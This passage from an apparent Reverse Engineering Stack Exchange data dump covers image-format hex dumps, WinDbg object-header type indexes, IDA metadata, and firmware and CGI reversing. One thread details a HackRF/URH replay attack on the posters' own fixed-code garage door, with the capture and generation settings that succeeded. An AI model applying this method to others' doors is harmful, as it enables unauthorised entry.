noreferrer\">https://drive.google.com/file/d/1WXbuqT7B-_1OdHZjScmWMKHKxfEUzta7/view?usp=sharing</a> <a href=\"https://drive.google.com/file/d/1YN_TbwWevuNQ3_Ha6MikOA_5JX8h1Pu1/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1YN_TbwWevuNQ3_Ha6MikOA_5JX8h1Pu1/view?usp=sharing</a></p>\n<p><em><strong>--UPDATE--</strong></em></p>\n<p><strong>//---------------------------------------------------------------//</strong></p>\n<p><em><strong>Here I have cloned some other flags from the device:</strong></em></p>\n<p>Espanol:</p>\n<p><a href=\"https://drive.google.com/file/d/18FE-nT7DMDmNvPtT3lMzARdjcUItpUSu/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/18FE-nT7DMDmNvPtT3lMzARdjcUItpUSu/view?usp=sharing</a></p>\n<p>English:</p>\n<p><a href=\"https://drive.google.com/file/d/1Qqr-ZKyT1M5ichLXBKRRBJzxaPDEpSGg/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1Qqr-ZKyT1M5ichLXBKRRBJzxaPDEpSGg/view?usp=sharing</a></p>\n<p>Portugues:</p>\n<p><a href=\"https://drive.google.com/file/d/13DYM1-Di7bI_KXvT4Eo9zC6x-jIwX0jX/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/13DYM1-Di7bI_KXvT4Eo9zC6x-jIwX0jX/view?usp=sharing</a></p>\n<p><em><strong>Here also two random pictures of the GUI:</strong></em></p>\n<p><a href=\"https://drive.google.com/file/d/1oulgopsKGIkpUQ12_94twBaNlVkToKxI/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1oulgopsKGIkpUQ12_94twBaNlVkToKxI/view?usp=sharing</a>\n<a href=\"https://drive.google.com/file/d/1E9Tx2S86tP2B_z84Fe_6LWO-RZxSEVtD/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1E9Tx2S86tP2B_z84Fe_6LWO-RZxSEVtD/view?usp=sharing</a></p>\n<p>This should be these images (once highlighted and once normal):</p>\n<p><a href=\"https://i.stack.imgur.com/AZtaV.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AZtaV.jpg\" alt=\"Station Logo 01\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/pkFAY.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pkFAY.jpg\" alt=\"Station Logo 02\" /></a></p>\n<p><strong>//---------------------------------------------------------------//</strong></p>\n<p><strong>Here are 2 copies of the 2 files from a hex editor</strong></p>\n<p><em>img_togglelanguage_ru_ovg.bin:</em></p>\n<pre><code>FF FF FF FF 00 FF FF FF FF 00 E2 FF FF FF 00 01 1A 1A 1A 2D 1A 1A 1A C3 99 1A 1A 1A FF 01 1A 1A 1A C0 1A 1A 1A 2D 88 FF FF FF 00 00 1A 1A 1A CF 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 00 1A 1A 1A D2 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 01 1A 1A 1A 39 1A 1A 1A D2 99 1A 1A 1A FF 01 1A 1A 1A C9 1A 1A 1A 2D FF FF FF FF 00 FF FF FF FF 00 E3 FF FF FF 00\n</code></pre>\n<p><em>img_togglelanguage_de_ovg.bin:</em></p>\n<pre><code>FF FF FF FF 00 FF FF FF FF 00 E2 FF FF FF 00 01 1A 1A 1A 2D 1A 1A 1A C3 99 1A 1A 1A FF 01 1A 1A 1A C0 1A 1A 1A 2D 88 FF FF FF 00 00 1A 1A 1A CF 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 00 1A 1A 1A D2 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 01 1A 1A 1A 39 1A 1A 1A D2 99 1A 1A 1A FF 01 1A 1A 1A C9 1A 1A 1A 2D FF FF FF FF 00 FF FF FF FF 00 E3 FF FF FF 00\n</code></pre>\n<p>Maybe someone knows more than me.</p>\n",
        "Title": "Open unknown image format (probably a RAW image)",
        "Tags": "|binary-analysis|file-format|binary|binary-diagnosis|binary-editing|",
        "Answer": "<p>I've further looked at this format and made a decoder here:</p>\n<p><a href=\"https://github.com/cr3ative/rcd_330g_logo_utilities/blob/master/ovg_to_png.py\" rel=\"nofollow noreferrer\">https://github.com/cr3ative/rcd_330g_logo_utilities/blob/master/ovg_to_png.py</a></p>\n<p>The <code>tag</code> byte Ian describes in the other answer is detailed here:</p>\n<p><a href=\"https://www.nxp.com.cn/docs/en/application-note/AN4339.pdf\" rel=\"nofollow noreferrer\">https://www.nxp.com.cn/docs/en/application-note/AN4339.pdf</a></p>\n<p><a href=\"https://i.stack.imgur.com/i28xL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/i28xL.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "27697",
        "CreationDate": "2021-05-21T13:46:55.557",
        "Body": "<p>IDA has the option to use debuggers but the debuggers are quite limited. Is there a way that I can use to use x86dbg with IDA Pro?</p>\n",
        "Title": "Is there a way to attach x86dbg with ida pro?",
        "Tags": "|ida|debugging|",
        "Answer": "<p>Take a look at <a href=\"https://github.com/x64dbg/x64dbgida\" rel=\"nofollow noreferrer\">x64dbgida</a>, this is a plugin for IDA Pro.</p>\n"
    },
    {
        "Id": "27700",
        "CreationDate": "2021-05-22T05:42:48.073",
        "Body": "<p>I try to extra the nt!_object_type of notepad.exe process. But seems like it's empty. Is it some process has no object type?</p>\n<p><a href=\"https://i.stack.imgur.com/5GKei.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5GKei.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>Correction for my screenshot above for using the EPROCESS address to extract TypeIndex instead of using the header of the process object.</strong></p>\n<p>This time I got the right, first I determine that the <code>TypeIndex</code> of process object belonging to the notepad is <code>0x98</code>.</p>\n<p>By plugging the value <code>0x98</code> into the <code>ObTypeIndexTable</code>, I am seeing empty structure.</p>\n<p>Any idea why? Below is the updated screenshot.</p>\n<p><a href=\"https://i.stack.imgur.com/J3Bpx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J3Bpx.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Why some process has empty nt!_object_type",
        "Tags": "|windows|",
        "Answer": "<p>EPROCESS does not represent OBJECT_HEADER</p>\n<p>!process 0 0 notepad.exe provides you an EPROCESS</p>\n<p>I think object_header is not documented</p>\n<p>on x86 (win7 sp2) it was 0x18 bytes before the OBJECT</p>\n<p>the Typeindex field also has been repurposed if i am not mistaken in newer OS</p>\n<p>the following display is from a win7sp2 32bit vm</p>\n<pre><code>kd&gt; dt nt!_OBJECT_HEADER TypeIndex @$proc-0x18\n   +0x00c TypeIndex : 0x7 ''\nkd&gt;\n</code></pre>\n<p>using the type index and retrieving the ObjectType Name</p>\n<pre><code>kd&gt; ?? ((nt!_OBJECT_TYPE **) @@masm(nt!ObTypeIndexTable))[7]-&gt;Name\nstruct _UNICODE_STRING\n &quot;Process&quot;\n   +0x000 Length           : 0xe\n   +0x002 MaximumLength    : 0x10\n   +0x004 Buffer           : 0x89e04008  &quot;Process&quot;\nkd&gt;\n</code></pre>\n<p>some further type indexes example</p>\n<pre><code>kd&gt; .for (r $t0=3 ;@$t0&lt;18;r $t0=@$t0+1) { du @@c++(((nt!_OBJECT_TYPE **) @@masm(nt!ObTypeIndexTable))[@$t0]-&gt;Name.Buffer)}\n89e01980  &quot;Directory&quot;\n89e01940  &quot;SymbolicLink&quot;\n89e01430  &quot;Token&quot;\n89e01088  &quot;Job&quot;\n89e04008  &quot;Process&quot;\n89e04fd8  &quot;Thread&quot;\n89e04f98  &quot;UserApcReserve&quot;\n89e04f48  &quot;IoCompletionReserve&quot;\n89e04960  &quot;DebugObject&quot;\n89e08840  &quot;Event&quot;\n89e040a0  &quot;EventPair&quot;\n89e04070  &quot;Mutant&quot;\n89e04c10  &quot;Callback&quot;\n89e04e60  &quot;Semaphore&quot;\n89e04770  &quot;Timer&quot;\n89e04728  &quot;Profile&quot;\n89e08ee8  &quot;KeyedEvent&quot;\n89e09b18  &quot;WindowStation&quot;\n89e092a8  &quot;Desktop&quot;\n89e09b40  &quot;TpWorkerFactory&quot;\n89e046e0  &quot;Adapter&quot;\nkd&gt;\n</code></pre>\n"
    },
    {
        "Id": "27703",
        "CreationDate": "2021-05-22T16:59:04.837",
        "Body": "<p>I try to extract the object type of notepad.exe in windbg but the nt!_object_type is showing it as Desktop object instead of Process object.</p>\n<p>Any idea why is it so?</p>\n<pre><code>4: kd&gt; !process 0 0 notepad.exe\nPROCESS ffffc80bc92d7080\n    SessionId: 1  Cid: 07c0    Peb: 4c99481000  ParentCid: 2b48\n    DirBase: 147205000  ObjectTable: ffffa30d80327d40  HandleCount: 233.\n    Image: notepad.exe\n\n4: kd&gt; !object ffffc80bc92d7080\nObject: ffffc80bc92d7080  Type: (ffffc80bb02a9220) Process\n    ObjectHeader: ffffc80bc92d7050 (new version)\n    HandleCount: 6  PointerCount: 196490\n4: kd&gt; ?? (nt!_object_header*)0xffffc80bc92d7050\nstruct _OBJECT_HEADER * 0xffffc80b`c92d7050\n   +0x000 PointerCount     : 0n196490\n   +0x008 HandleCount      : 0n6\n   +0x008 NextToFree       : 0x00000000`00000006 Void\n   +0x010 Lock             : _EX_PUSH_LOCK\n   +0x018 TypeIndex        : 0x19 ''\n   +0x019 TraceFlags       : 0 ''\n   +0x019 DbgRefTrace      : 0y0\n   +0x019 DbgTracePermanent : 0y0\n   +0x01a InfoMask         : 0x88 ''\n   +0x01b Flags            : 0 ''\n   +0x01b NewObject        : 0y0\n   +0x01b KernelObject     : 0y0\n   +0x01b KernelOnlyAccess : 0y0\n   +0x01b ExclusiveObject  : 0y0\n   +0x01b PermanentObject  : 0y0\n   +0x01b DefaultSecurityQuota : 0y0\n   +0x01b SingleHandleEntry : 0y0\n   +0x01b DeletedInline    : 0y0\n   +0x01c Reserved         : 0\n   +0x020 ObjectCreateInfo : 0xffffc80b`ba32dc40 _OBJECT_CREATE_INFORMATION\n   +0x020 QuotaBlockCharged : 0xffffc80b`ba32dc40 Void\n   +0x028 SecurityDescriptor : 0xffffa30d`7cd0d369 Void\n   +0x030 Body             : _QUAD\n4: kd&gt; ?? ((nt!_object_header*)0xffffc80bc92d7050)-&gt;TypeIndex\nunsigned char 0x19 ''\n4: kd&gt; ?? ((nt!_object_type**)@@(nt!ObTypeIndexTable))[((nt!_object_header*)0xffffc80bc92d7050)-&gt;TypeIndex]\nstruct _OBJECT_TYPE * 0xffffc80b`b02d3980\n   +0x000 TypeList         : _LIST_ENTRY [ 0xffffc80b`b02d3980 - 0xffffc80b`b02d3980 ]\n   +0x010 Name             : _UNICODE_STRING &quot;Desktop&quot;\n   +0x020 DefaultObject    : (null) \n   +0x028 Index            : 0x19 ''\n   +0x02c TotalNumberOfObjects : 0xc\n   +0x030 TotalNumberOfHandles : 0xf7\n   +0x034 HighWaterNumberOfObjects : 0xd\n   +0x038 HighWaterNumberOfHandles : 0xff\n   +0x040 TypeInfo         : _OBJECT_TYPE_INITIALIZER\n   +0x0b8 TypeLock         : _EX_PUSH_LOCK\n   +0x0c0 Key              : 0x6b736544\n   +0x0c8 CallbackList     : _LIST_ENTRY [ 0xffffc80b`b02d3a48 - 0xffffc80b`b02d3a48 ]\n</code></pre>\n",
        "Title": "Why is process object is shown as desktop object in nt!_object_type",
        "Tags": "|windows|windbg|",
        "Answer": "<p>as i commented in latest windows type index has been randomised</p>\n<p>it is a  xor of  the index with nt!obHeaderCookie and the second byte of OBJECT_HEADER Address</p>\n<p>see below</p>\n<pre><code>0: kd&gt; ?? (char *)@$proc-&gt;ImageFileName\nchar * 0xffffa083`398ab4d0\n &quot;conhost.exe&quot;\n0: kd&gt; ?? ((nt!_object_header *) @@masm( @$proc - @@c++(#FIELD_OFFSET(nt!_OBJECT_HEADER , Body))))-&gt;TypeIndex\nunsigned char 0x58 'X'\n0: kd&gt; ? ((@$proc - @@c++(#FIELD_OFFSET(nt!_OBJECT_HEADER, Body))) &gt;&gt; 8 &amp; 0xff)  ^ by(nt!ObHeaderCookie)\nEvaluate expression: 95 = 00000000`0000005f\n0: kd&gt; ? 0x58 ^ 0x5f\nEvaluate expression: 7 = 00000000`00000007 &lt;&lt; Process \n0: kd&gt;  \n</code></pre>\n"
    },
    {
        "Id": "27706",
        "CreationDate": "2021-05-22T21:01:30.777",
        "Body": "<p>New to the area, i am trying to identify the code responsible for example for the search functionality in Windows when you start typing in the start menu.\nWhat are some generic ways of identifying the file/code where that functionality is implemented?</p>\n<p>Some ideas i had are:</p>\n<ol>\n<li><p>Check out procmon to identify whether your action is causing any events and identify the process, then one can go from there using potentially the corresponding symbols to find the appropriate functions.</p>\n</li>\n<li><p>Once we have the appropriate functions, see if possible to set a hardware breakpoint in kernel debugging in the address where the associate code is mapped. (easy when the code resides in kernel space, for userspace functionalities we may be lucky in case of system libraries mapped in the same virtual address for all processes)</p>\n</li>\n</ol>\n<p>Not sure whether the above is the most optimal/effective methodology, any other ideas are welcome</p>\n",
        "Title": "Identifying/debugging code parts responsible for features in Windows",
        "Tags": "|windows|",
        "Answer": "<p>procmon can help in locating an entry point or a point of ingress</p>\n<p>start procmon</p>\n<p>remove all filters</p>\n<p>enable capturing</p>\n<p>try typing something like &quot;turbox the t&quot; in the start menu</p>\n<p>stop capturing</p>\n<p>go to tools-&gt;file summary-&gt;extension tab and expand the wildcard (*) entry</p>\n<p>you may notice this file has been searched on the PATH paths</p>\n<p>click one entry and you may see the relevant searches over the<br />\nwhole  time period between  capture enable and capture disable</p>\n<p><a href=\"https://i.stack.imgur.com/eSB6m.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eSB6m.png\" alt=\"enter image description here\" /></a></p>\n<p>as you can see in the image above the 6 captures that pertain to search in<br />\nc:\\windows\\system32 folder</p>\n<p>double clicking the entry will yield the searches that span 2 seconds of interval\nas below</p>\n<p><a href=\"https://i.stack.imgur.com/U9PGs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/U9PGs.png\" alt=\"enter image description here\" /></a></p>\n<p>you can then click anyone of these capture to look at the call stack</p>\n<p>as below</p>\n<p><a href=\"https://i.stack.imgur.com/I2lpc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/I2lpc.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "27716",
        "CreationDate": "2021-05-26T06:27:58.947",
        "Body": "<p>I'm studying the dll that was built for x86_64.</p>\n<p>I study where there are links to the function &quot;call_f1_1806F3630&quot; and do not understand three of them. Are these features of OOP? Help me figure it out:\n<a href=\"https://disk.yandex.ru/i/crsvYi4QLBE6dQ\" rel=\"nofollow noreferrer\">https://disk.yandex.ru/i/crsvYi4QLBE6dQ</a></p>\n<ol>\n<li>Is this a virtual table with methods of some class?</li>\n</ol>\n<pre><code>.rdata:0000000180B8E730 BC 06 03 80 01 00 00 00       off_180B8E730   dq offset sub_1800306BC ; DATA XREF: sub_180016668+28\u2191o\n.rdata:0000000180B8E730                                                                       ; sub_180169E2C+2E\u2191o ...\n.rdata:0000000180B8E738 44 8D 03 80 01 00 00 00                       dq offset sub_180038D44\n.rdata:0000000180B8E740 F0 8D 03 80 01 00 00 00                       dq offset sub_180038DF0\n...\n.rdata:0000000180B8E800 30 03 6F 80 01 00 00 00                       dq offset sub_1806F0330\n.rdata:0000000180B8E808 30 36 6F 80 01 00 00 00                       [B]dq offset call_f1_1806F3630[/B]\n.rdata:0000000180B8E810 20 3D 6F 80 01 00 00 00                       dq offset sub_1806F3D20\n.rdata:0000000180B8E818 60 99 16 80 01 00 00 00                       dq offset sub_180169960\n</code></pre>\n<ol start=\"2\">\n<li>This is not clear at all.</li>\n</ol>\n<pre><code>.rdata:0000000180EDAE60 30 36 6F 00 FF FF FF FF       stru_180EDAE60  IPtoStateMap &lt;rva call_f1_1806F3630, -1&gt;\n.rdata:0000000180EDAE60                                                                       ; DATA XREF: .rdata:stru_180EDAE28\u2191o\n.rdata:0000000180EDAE68 6B 36 6F 00 00 00 00 00                       IPtoStateMap &lt;rva loc_1806F366B, 0&gt;\n.rdata:0000000180EDAE70 C4 37 6F 00 FF FF FF FF                       IPtoStateMap &lt;rva loc_1806F37C4, -1&gt;\n.rdata:0000000180EDAE78 CB 37 6F 00 00 00 00 00                       IPtoStateMap &lt;rva loc_1806F37CB, 0&gt;\n.rdata:0000000180EDAE80 71 93 AE 00 01 00 00 00                       IPtoStateMap &lt;rva sub_180AE9371, 1&gt;\n.rdata:0000000180EDAE88 80 93 AE 00 00 00 00 00                       IPtoStateMap &lt;rva loc_180AE9380, 0&gt;\n</code></pre>\n<ol start=\"3\">\n<li>This is not clear at all.</li>\n</ol>\n<pre><code>.pdata:000000018110D94C 30 36 6F 00 DA 37 6F 00 88 1C+                RUNTIME_FUNCTION &lt;rva call_f1_1806F3630, rva algn_1806F37DA, \\\n.pdata:000000018110D94C D0 00                                                           rva stru_180D01C88&gt;\n</code></pre>\n",
        "Title": "How to understand the result of disassembling IDA Pro (dll x86_64)",
        "Tags": "|ida|disassemblers|",
        "Answer": "<p>The first one is a function pointer in a virtual function table. The second two are <a href=\"https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-160\" rel=\"nofollow noreferrer\">x64 exception metadata included by the compiler</a>.</p>\n"
    },
    {
        "Id": "27717",
        "CreationDate": "2021-05-26T10:10:38.550",
        "Body": "<p>I am a newbi for reversing engineering.\nI am going to reversing a firmware file. (*.pkg)\nI could find many tutorials for reversing *.bin, but I can't find any tutorials for reversing *.pkg file.\nAnd I don't have the router device yet, so I can't dump a bin file from the device now.</p>\n<p>*<em>I wanna know how to reversing <em>.pkg and what is the best tool for this reversing work.</em></em></p>\n<p>====================================================</p>\n<p>PS:\nThis pkg file was not a firmware, it's a MacOS install file.\nBut I downloaded my router firmware, it's also *.pkg.\nAnd it works well with firmware reversing tools.\nThank you for your answers.</p>\n",
        "Title": "How to reverse *.pkg file? This is a firmware file of a router",
        "Tags": "|firmware|",
        "Answer": "<p>*.pkg is also firmware file format. <br/> But it's not standard firmware format, it's custom format. You can use unpack tools like *.bin files.</p>\n"
    },
    {
        "Id": "27738",
        "CreationDate": "2021-05-28T13:41:29.350",
        "Body": "<p>I wanna reverse CGI binary file. <br/>\nIs it possible?<br/>\nWhat are the recommended tools and guides?<br/>\nThank you for reading my question.</p>\n<pre><code>$ file test.cgi\nstatus.cgi: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped\n</code></pre>\n",
        "Title": "Is it possible to reverse CGI binary file?",
        "Tags": "|binary-analysis|elf|binary|",
        "Answer": "<p>CGI is not a specific type of file; it more so describes the way the file is interacted with. A CGI file could be a script written in any scripting language (e.g. Python, Bash, Perl etc.), or it could be an ELF executable like you have here.</p>\n<p>Since it's just a normal ELF, you can use any common disassembly/decompilation tool that you would use for other binaries.</p>\n"
    },
    {
        "Id": "27745",
        "CreationDate": "2021-05-27T16:17:10.920",
        "Body": "<p><strong>TL;DR solution</strong></p>\n<ul>\n<li>Setting 4MHz sample rate and 2Mhz bandwidth in the capture tab (according to the Nyquist theorem the sample rate has to be double the bandwidth)</li>\n<li>Using the length of a DIP switch position in samples as the samples/symbol parameter</li>\n<li>Using the DC correction filter</li>\n<li>Using the generator tab to generate a new refined signal like so:<a href=\"https://i.stack.imgur.com/orW3A.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/orW3A.png\" alt=\"enter image description here\" /></a></li>\n</ul>\n<hr />\n<p>My colleagues and I have taken on a HackRF project for university, using HackRF One. One of the targets is garage door controllers.</p>\n<p>We own two controllers with DIP switches for the <em>same</em> door, one has 10 switches while the other one has 12.</p>\n<p>The controller has a PIC16C54 chip, broadcasting at 27.015Mhz.</p>\n<p>Using hackrf and Universal Radio Hacker we were able to obtain signals from both controllers (top is 10 switches, bottom is 12):</p>\n<p><a href=\"https://i.stack.imgur.com/8KBbE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8KBbE.png\" alt=\"enter image description here\" /></a>\nWe can easily recognize that there is a long wait period after every signal. The DIP switches are <code>0000111110</code> and <code>0000111110000</code> on the 10-switch and 12-switch controller respectively.</p>\n<p>We were able to notice that the long parts of the signal correspond to 0s and the short bursts (probably including some of the 'silence' after them in order to be the same length) are 1s. At this point I am expecting the signal to  be like this:</p>\n<p><code>0 1111 0 1111 0 1111 0 1111 0 1100 0 1100 0 1100 0 1100 0 1100 0 1111 0 1100 0 1100</code></p>\n<p>where <code>1111</code> is a dip switch set to 0 and <code>1100</code> is a dip switch set to one.</p>\n<p>Our efforts to replay the signal for the garage door have been futile, even directly in front of it. We tried to import the data in Audacity and normalize the signal in order to get the most power out of it but Universal Radio Hacker does not import it properly from a RAW 8-bit unsigned PCM 48KHz format (this is the expected format <a href=\"https://ham.stackexchange.com/questions/5450/hackrf-one-expected-hackrf-transfer-t-file-format-and-its-creation\">right</a>?).</p>\n<p>Despite not succeeding in the replay attack with the captured signal from URH without using audacity, the following questions arose:</p>\n<ul>\n<li>Why are there two short burst (1s) instead of the expected zeroes in the end of the signal?</li>\n<li>The 10 switches controller has a signal without the two zeroes at the start. The garage code should be 10bit then (?)</li>\n<li>Why does setting the 12 switch controller's last 2 switches to 1 instead of 0 not open the door?</li>\n</ul>\n<p>Are we missing something even more important here?</p>\n<p><strong>Edit:</strong> the door is not rolling code since we are capturing the same signal on every press (and it's a 30 years old door)</p>\n<p><strong>Edit (2):</strong> The signal with autodetect parameters is the following:</p>\n<blockquote>\n<p>11111111111111111111111111111111111111111111\n011101110111011101<strong>1</strong>001001001001<strong>1</strong>0011101<strong>1</strong>00100\n11111111111111111111111111111111111111111111\n011101110111011101_001001001001_0011101_00100\n11111111111111111111111111111111111111111111\n011101110111011101_001001001001_0011101_001(00)</p>\n</blockquote>\n<p><a href=\"https://i.stack.imgur.com/rcd9y.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rcd9y.png\" alt=\"enter image description here\" /></a></p>\n<p>But I believe 2000 samples/Symbol is better since it yields:</p>\n<blockquote>\n<p>111111111111111111111111111111111110110110110110100100100100100110100100\n111111111111111111111111111111111110110110110110100100100100100110100100\n111111111111111111111111111111111110110110110110100100100100100110100100</p>\n</blockquote>\n<p>The problem is, URH replays samples not bits, so why does the replay not work?</p>\n<p><strong>Edit (3):</strong> I <a href=\"https://www.reddit.com/r/hackrf/comments/lf3ddv/best_antenna_to_use_for_key_fobs_and_garage_doors/\" rel=\"nofollow noreferrer\">read</a> that the antennas that come with HackRF are not useful for transmitting in that frequency (27.015Mhz), is this true?</p>\n<p><strong>Edit (4):</strong> After fiddling around with the URH filters I got some good parameters for the capture of a long press I had named &quot;repeat&quot;. The same information is repetitively transmitted for the duration of the press.</p>\n<p><a href=\"https://i.stack.imgur.com/NOxaJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NOxaJ.png\" alt=\"enter image description here\" /></a>\nwhich resulted in getting from this:\n<a href=\"https://i.stack.imgur.com/YEpGX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YEpGX.png\" alt=\"enter image description here\" /></a>\nto this:\n<a href=\"https://i.stack.imgur.com/ypzw4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ypzw4.png\" alt=\"enter image description here\" /></a></p>\n<p>I have not yet tested the attack. Does the way the signal gets decoded into bits change the way it gets repeated? do the parameters affect repetition too? what about the filters?</p>\n<p>Update: Test through the repeat option in Interpretation tab failed (check edit 4).</p>\n<p><strong>Edit (4):</strong> I just realized I can use the Generator tab...\n<a href=\"https://i.stack.imgur.com/TdG9L.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TdG9L.png\" alt=\"enter image description here\" /></a></p>\n<p>Will test tomorrow and update accordingly!</p>\n<p><a href=\"https://i.stack.imgur.com/zap9o.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zap9o.png\" alt=\"enter image description here\" /></a></p>\n<p>5k samples/symbol gives desired decoding mentioned by @roscoe but doesn't work for generation</p>\n<p><a href=\"https://i.stack.imgur.com/Gf0BC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Gf0BC.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>Edit (6):</strong> Setting the <strong>sample rate to 4M and bandwidth to 2M during recording</strong> yielded the following:\n<a href=\"https://i.stack.imgur.com/xPcgl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xPcgl.png\" alt=\"enter image description here\" /></a>\nAutodetect seems to have gotten the right values, samples per symbol was manually set to 4000 since that is the approximate width of a symbol:</p>\n<p><a href=\"https://i.stack.imgur.com/yh4CW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yh4CW.png\" alt=\"enter image description here\" /></a></p>\n<p>Simply replaying the signal didn't work, <strong>but generating a new signal from the Generator tab with autodetect parameters DID !</strong>\n<a href=\"https://i.stack.imgur.com/orW3A.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/orW3A.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "HackRF One - Replay Attack on Garage Door does not work (12 DIP switches)",
        "Tags": "|hardware|protocol|",
        "Answer": "<p>I believe both keyfobs send the same data which is</p>\n<pre><code>1111 0000 0100\n</code></pre>\n<p>Second keyfob is repeating signal 3 times.</p>\n<p>DIP encoding to signal would be byte by byte with swapped nibbles.</p>\n<pre><code>00001111 10 =&gt;  11 11 00 00 01\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/VNjf3.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/VNjf3.png\" alt=\"enter image description here\" /></a></p>\n<p>Try to use <strong>Autodetect parameters</strong> in URH.</p>\n"
    },
    {
        "Id": "27759",
        "CreationDate": "2021-05-31T16:06:44.303",
        "Body": "<p>Is it possible to create a box / bar in IDA wich indicates the progress?</p>\n",
        "Title": "IDA 7.5 Show the Progress from Auto Analysis?",
        "Tags": "|ida|",
